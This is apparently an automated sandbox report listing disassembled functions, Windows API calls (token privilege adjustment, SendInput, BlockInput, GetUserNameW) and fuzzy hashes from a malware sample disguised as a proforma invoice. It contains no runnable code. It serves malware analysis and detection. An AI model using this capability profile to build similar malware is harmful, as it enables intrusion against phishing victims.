Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9f312c5f6943d52ac5318a1854f51ce4e543a1e5dec2a1611787692947386221
Instruction ID: a4f106a7cc713a54532e8b71338c3b160974b4881df8318535504d7ca93e5082
Opcode Fuzzy Hash: 9f312c5f6943d52ac5318a1854f51ce4e543a1e5dec2a1611787692947386221
Instruction Fuzzy Hash: 9C31D67491121C9BCB21DF65DD89BDDB7B8AF08310F5042EAE80CA7261E7749F858F49

Function 004951CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 004951DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00495238
SetErrorMode.KERNEL32(00000000), ref: 004952A1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: fb21b13412e5efdb110d8b9e40e2468938a1fbf7a9a8277822ad6ef96635b7a1
Instruction ID: d179df8f833c9aee5f2580ebb1aeb3ce04b9d71c23469b5fb45e859f0b00eadb
Opcode Fuzzy Hash: fb21b13412e5efdb110d8b9e40e2468938a1fbf7a9a8277822ad6ef96635b7a1
Instruction Fuzzy Hash: 47314F75A00518DFDB00DF55D8C4EADBBB4FF48318F5480AAE805AB392DB35E856CB94

Function 004816C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 0043FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00440668
Part of subcall function 0043FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00440685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0048170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0048173A
GetLastError.KERNEL32 ref: 0048174A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 01dff83c9e7066a5a387b3fe76dca56195c115abe21d9088a6dac8301e64a700
Instruction ID: f2e2abdf4e94b604e07c3717860b2abbafabbb55e002b90c2bd970d54c53b80e
Opcode Fuzzy Hash: 01dff83c9e7066a5a387b3fe76dca56195c115abe21d9088a6dac8301e64a700
Instruction Fuzzy Hash: CB11BCB2800204AFD718AF54DCCAD6BB7BDEB48714B20852FF45652291EB74BC428B68

Function 0048D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0048D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0048D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0048D650

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 441438d3a22eb0cf81779c8f58ee583caa622fc5dc9ab6e5ec64acfab9961a4c
Instruction ID: 52146633c33fa6092dc4a88627e33a74bad808d18909d2de0b6f163bff94a9c2
Opcode Fuzzy Hash: 441438d3a22eb0cf81779c8f58ee583caa622fc5dc9ab6e5ec64acfab9961a4c
Instruction Fuzzy Hash: AE118E71E05228BFDB108F98EC84FAFBBBCEB45B50F108122F904F7290D2704A018BA5

Function 00481663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0048168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 004816A1
FreeSid.ADVAPI32(?), ref: 004816B1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 848a935e622a891b740f3c2dfcf4738cfae07cb05a02266ea1c28589cfed6dc4
Instruction ID: e9f1cfb6161598db11b8598fda47b92598bd090739bbd50e87ee6afb831f67f2
Opcode Fuzzy Hash: 848a935e622a891b740f3c2dfcf4738cfae07cb05a02266ea1c28589cfed6dc4
Instruction Fuzzy Hash: 9AF0F471950309FBDB00EFE49CC9EAEBBBCFB08604F504965E501E2191E774AA448B64

Function 00444CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(004528E9,?,00444CBE,004528E9,004E88B8,0000000C,00444E15,004528E9,00000002,00000000,?,004528E9), ref: 00444D09
TerminateProcess.KERNEL32(00000000,?,00444CBE,004528E9,004E88B8,0000000C,00444E15,004528E9,00000002,00000000,?,004528E9), ref: 00444D10
ExitProcess.KERNEL32 ref: 00444D22

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 669a2dabecfdffc85fe31152555ac48abe64dcab85f2678090c8b13e5d54e2f6
Instruction ID: b6faeedb7122e34fbc16673e205d8488dba1216127ea3b8c737f6ce999922a09
Opcode Fuzzy Hash: 669a2dabecfdffc85fe31152555ac48abe64dcab85f2678090c8b13e5d54e2f6
Instruction Fuzzy Hash: 2EE0B671400148ABDF21AF55DD89A593BA9EB81786B504529FC059A222CB39DD42CA88

Function 0045C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 0045C36C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: d0b232b0b82a6071e3ef967bfd95763a7b0d3c649760fa8c8cfb6dcf1c16a740
Instruction ID: e0761bf200fcf27fc41cc963fba13fd08c769bb004713d7b73ca62cd85b1ac79
Opcode Fuzzy Hash: d0b232b0b82a6071e3ef967bfd95763a7b0d3c649760fa8c8cfb6dcf1c16a740
Instruction Fuzzy Hash: F34126729003186FCB209FB9CC89DAB77B8EB84315F5042AEFD05C7282E6749D858B58

Function 0047D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0047D28C

Strings

X64, xrefs: 0047D2A8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: feb9dc0bdb5f60ca631a9baface5b474c70b15a8acc657e02415432705e5be31
Instruction ID: d1e6eb8ebe82f50387060de6892de1d356514be29000c31fc1e6f9901e5247fa
Opcode Fuzzy Hash: feb9dc0bdb5f60ca631a9baface5b474c70b15a8acc657e02415432705e5be31
Instruction Fuzzy Hash: CAD0C9B481111DEBCB94DB90ECC8DDDB37CBB04305F104292F506A2000DB34954A8F14

Function 0044CAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: 5327851f88cf0d34a4af272f82bd7a7d219ade8636144ad78ea59f3a72fbbabd
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 40023E71E012199FEF54CFA9C8C06AEFBF1EF48314F29816AD919E7380D735A9418B84

Function 0042CAF0 Relevance: 3.2, Strings: 2, Instructions: 659COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00470C40
p#O, xrefs: 0042CF7F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.$p#O
API String ID: 0-3081825068
Opcode ID: ef86891e3a1f78428908a2e5cae1e625376f7b47f5bae61c9ac78945b1ac0081
Instruction ID: 36339e60bb485b0840227dc8bb6dea1e6f0bc25481800bec192988a91ad14e68
Opcode Fuzzy Hash: ef86891e3a1f78428908a2e5cae1e625376f7b47f5bae61c9ac78945b1ac0081
Instruction Fuzzy Hash: E2328370A00228DBCF14DF91E981AEEB7B5FF05308F54805BE8066B391D779AD46CB59

Function 004968EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00496918
FindClose.KERNEL32(00000000), ref: 00496961

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 687f6c939f765074e007e22ad8e1e2b3b85057f903ec3883868eb536715d9fc1
Instruction ID: 79b874a2a69289e261bb05a192a9867f2a3245e8320323b2e7f934120825a561
Opcode Fuzzy Hash: 687f6c939f765074e007e22ad8e1e2b3b85057f903ec3883868eb536715d9fc1
Instruction Fuzzy Hash: FC11B1716042109FCB10CF2AD4C4A16BBE1EF88328F05C6AEE4698F7A2C734EC05CB95

Function 004937B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,004A4891,?,?,00000035,?), ref: 004937E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,004A4891,?,?,00000035,?), ref: 004937F4

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: f4eff6a3e0747db3f059002c24feba1787f5ff300a30fc267ffd1081bed89a3a
Instruction ID: 0b5197c5c5e5666e49808a3972677f22a3acb5bc771abd229895879527842c1b
Opcode Fuzzy Hash: f4eff6a3e0747db3f059002c24feba1787f5ff300a30fc267ffd1081bed89a3a
Instruction Fuzzy Hash: 74F0EC707042242BDB2017A65C8DFDB7A9DDFC5765F000276F505D2291D5605D04C6B5

Function 0048B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0048B25D
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 0048B270

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 8e74cbc439133860321637300fdb68ef0a86255d8b326d86ee95e9cc6efffcc8
Instruction ID: 5eddd08f71f7103d560e93684ba7b81704c4cbfee7b7cd1eb18d2a0c0938337b
Opcode Fuzzy Hash: 8e74cbc439133860321637300fdb68ef0a86255d8b326d86ee95e9cc6efffcc8
Instruction Fuzzy Hash: BDF06D7080424EAFDB059FA0C845BEE7BB0FF04305F00845AF951A5191C37982019F98

Function 004810BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,004811FC), ref: 004810D4
CloseHandle.KERNEL32(?,?,004811FC), ref: 004810E9

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: d57eb5b579ded5b3eb286568095b9a9b1ce44a84308fb1e3b80a9a918ad2331e
Instruction ID: 8f1635d7c87f5d4f1d3d858863dd7cdfbf6e71c03922da4d9e984c26cbb6d869
Opcode Fuzzy Hash: d57eb5b579ded5b3eb286568095b9a9b1ce44a84308fb1e3b80a9a918ad2331e
Instruction Fuzzy Hash: C3E04F32408600AFE7252B51FC49E7777E9EB08310F10893EF4A6804B1DB626C90DB58

Function 0045676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00456766,?,?,00000008,?,?,0045FEFE,00000000), ref: 00456998

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b2040a6dadfbc884bde449f3b96c88ad88d6f526af8a96f277fda0787aeb4f63
Instruction ID: 13875ac50f50971fb4d80964387538a22ef1acb386a1761f9c22d02f02d735a1
Opcode Fuzzy Hash: b2040a6dadfbc884bde449f3b96c88ad88d6f526af8a96f277fda0787aeb4f63
Instruction Fuzzy Hash: 82B16B716106089FD714CF28C486B657BE0FF05366F668659EC99CF2A2C339D98ACB44

Function 0043B119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 0047851F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 136ddc42446b0d0e4fe9e6333b759575c7ac40939f0d102e05425cbfe797ab51
Instruction ID: e13629f2de3e8ad28e52817929d1d66ba5fecfd836698a36061cdca1c6c32601
Opcode Fuzzy Hash: 136ddc42446b0d0e4fe9e6333b759575c7ac40939f0d102e05425cbfe797ab51
Instruction Fuzzy Hash: 90126F719002299BDB14CF58C8807EEB7B5FF58710F14819BE949EB251EB389E81CF99

Function 0049EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0049EABD

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 2b2985b874c58d03154a52aab5462680f01fe5e579452610d14f2f423086f12d
Instruction ID: 1c24079f4e451d6f867cf5770eb1fe88430c2656028e6d080f6a1987f03045f2
Opcode Fuzzy Hash: 2b2985b874c58d03154a52aab5462680f01fe5e579452610d14f2f423086f12d
Instruction Fuzzy Hash: B1E012312002149FD710DF5AD444E5ABBD9AF58764F04842BFC45C7361D674A8418B95

Function 004409D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,004403EE), ref: 004409DA

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 671fdd2081abd1e0239d4519d06feb7dfeb0bdbc8f84be04f4e9f3172aaede69
Instruction ID: 7f445876195f0e9900efb1818c3d8bb43cbc712fa3ca0ae5048facd3ef73d00c
Opcode Fuzzy Hash: 671fdd2081abd1e0239d4519d06feb7dfeb0bdbc8f84be04f4e9f3172aaede69
Instruction Fuzzy Hash:

Function 0044781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 0044798B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: fb704057eb77942453e2058cc1f6984d7ba17fa6452db19682603765c2ad3267
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: 1C5157B160CA455BFB38A669889E7BF67899B12344F18090FD882D7382C71DDE07D35E

Function 00492046 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

0&O, xrefs: 00492053

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

